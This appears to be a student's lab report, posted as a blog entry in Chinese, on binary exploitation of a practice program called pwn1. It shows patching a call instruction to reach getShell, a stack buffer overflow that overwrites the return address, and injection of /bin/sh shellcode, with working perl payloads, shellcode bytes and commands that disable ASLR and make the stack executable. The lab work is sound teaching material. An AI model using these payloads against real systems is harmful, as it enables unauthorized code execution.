20232322 2025-2026-1 《网络与系统攻防技术》实验一实验报告

一.实验内容

  • 修改可执行文件内容,改变程序中的一个函数调用指令,直接跳转到getShell函数。
  • 利用foo函数的缓冲区溢出漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

二.实验过程

(1)直接修改程序机器指令,改变程序执行流程

  • 下载pwn1文件并传至虚拟机后输入反汇编指令 objdump -d pwn1 | more 找到函数调用的相关指令
    屏幕截图 2025-10-11 143241
  • 可以看到main中80484b5位置是跳转到foo函数的指令。跳转指令中,e8是跳转的意思,d7ffffff为补码,所以要调用getShell函数,需要改变后面四个字节。根据计算,补码为c3ffffff。
  • 输入 cp pwn1 pwn2 复制文件pwn1
  • 输入 vi pwn2 进入文件pwn2
  • 输入 :%!xxd 切换为16进制模式,输入 /e8 d7 找到对应内容
    屏幕截图 2025-10-11 150853
  • 将d7改为c3后输入 :%!xxd -r 改为原格式并输入 :wq 保存
  • 通过 objdump -d pwn2 | more 反汇编查看更改结果
    屏幕截图 2025-10-11 151728
  • 运行pwn2验证
    屏幕截图 2025-10-11 151845
    可以看到修改成功,并且成功运行getshell。

(2)通过构造输入参数,造成BOF攻击,改变程序执行流

  • 反汇编pwn1找到main、foo、和getshell函数
    屏幕截图 2025-10-11 160428
    可以发现在foo函数中,8048497位置的指令为“lea -0x1c(%ebp),%eax”,即只为后续的读入字符串预留了0x1c=28字节的缓冲区。call调用foo时,原本会在堆栈上压上返回地址80484ba,所以需要通过修改,让返回地址的值被覆盖为getShell函数的地址804847d。
  • 输入 gdb pwn1 调试程序,输入1111111122222222333333334444444455555555 然后使用 info r 查看eip的值为0x35353535,即5555的ascii码
    屏幕截图 2025-10-11 163225
  • 输入1111111122222222333333334444444412345678调试,查看eip的值为0x34333231,即4321的ascii码。
    屏幕截图 2025-10-11 163705
    这就确定了应该如何设置攻击字符串,即将第33至第36个字符设置为804847d按字节的倒序。
  • 利用perl软件生成包括这样字符串的一个文件,用 xxd input 命令检查文件内容
    屏幕截图 2025-10-11 164118
  • 将input的输入作为pwn1的输入得到如图结果
    屏幕截图 2025-10-11 164351
    成功得到了shell

(3)注入Shellcode并执行

  • execstack -s pwn1 设置堆栈可执行
  • execstack -q pwn1 查询文件的堆栈是否可执行
  • echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
  • more /proc/sys/kernel/randomize_va_space 验证随机化是否关闭
    屏幕截图 2025-10-12 135102
  • 输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 创建一个 input_shellcode 文件
  • 输入 (cat input_shellcode;cat) | ./pwn1 将input_shellcode作为pwn1的输入
  • 输入 ps -ef | grep pwn1 查看进程
    屏幕截图 2025-10-12 141429
    可知16487是我们的进程号
  • 用gdb调试程序,输入 disassemble foo 反编译foo函数,*break 0x080484ae 设置断点,在另一个终端输入命令c并在此终端按一下回车
    屏幕截图 2025-10-12 152804
  • 输入 info r esp 看到ESP值为0xffffcf2c
    屏幕截图 2025-10-12 152940
  • 输入 x/16x 0xffffcf2c 查看存放内容
    屏幕截图 2025-10-12 153107
    可以看到0x01020304,说明找到了我们要的地址,再加上四个字节得到0xffffcf30就是shellcode的地址
  • 使用 \x30\xcf\xff\xff 替换原占位符 \x01\x02\x03\x04,构造要注入的字符串:perl -e 'print "A" x 32;print "\x30\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xcf\xff\xff\x00"' > input_shellcode
  • 注入后执行ls命令
    屏幕截图 2025-10-12 161520

三.问题及解决方案

  • 问题1:无法下载execstack
  • 问题1解决方案:前往官网下载后,传输到虚拟机中解压
  • 问题2:Xftp 8无法连接
  • 问题2解决方案:在虚拟机中下载并启用ssh服务、
  • 问题3:echo "0" > /proc/sys/kernel/randomize_va_space命令执行时提示无权限
  • 问题3解决方案:将用户权限更改为root权限

四.学习感悟与思考

本次实验虽然是按照指导书一步步做的,但对于我来说还是较为困难。首先刚开始确实很难理解相应的地址关系,不过在问过同学以及查阅相关资料后还是明白了个大概。其次是实验工具的使用上还是不太熟练,很多没必要的操作导致时间上的浪费。最后,通过这次实验也是感受到了网络攻防的不易,这次在许多限制条件下才能完成这样简单的攻击,可想而知真正的网络攻防战场更是十分困难,所以我们学习网络攻防技术任重而道远。

参考资料

-逆向及Bof基础实践说明
-20242825 2024-2025-2 《网络攻防实践》第九周作业
-Linux下关闭ASLR(地址空间随机化)的方法

posted @ 2025-10-12 16:33  罗上林  阅读(13)  评论(0)    收藏  举报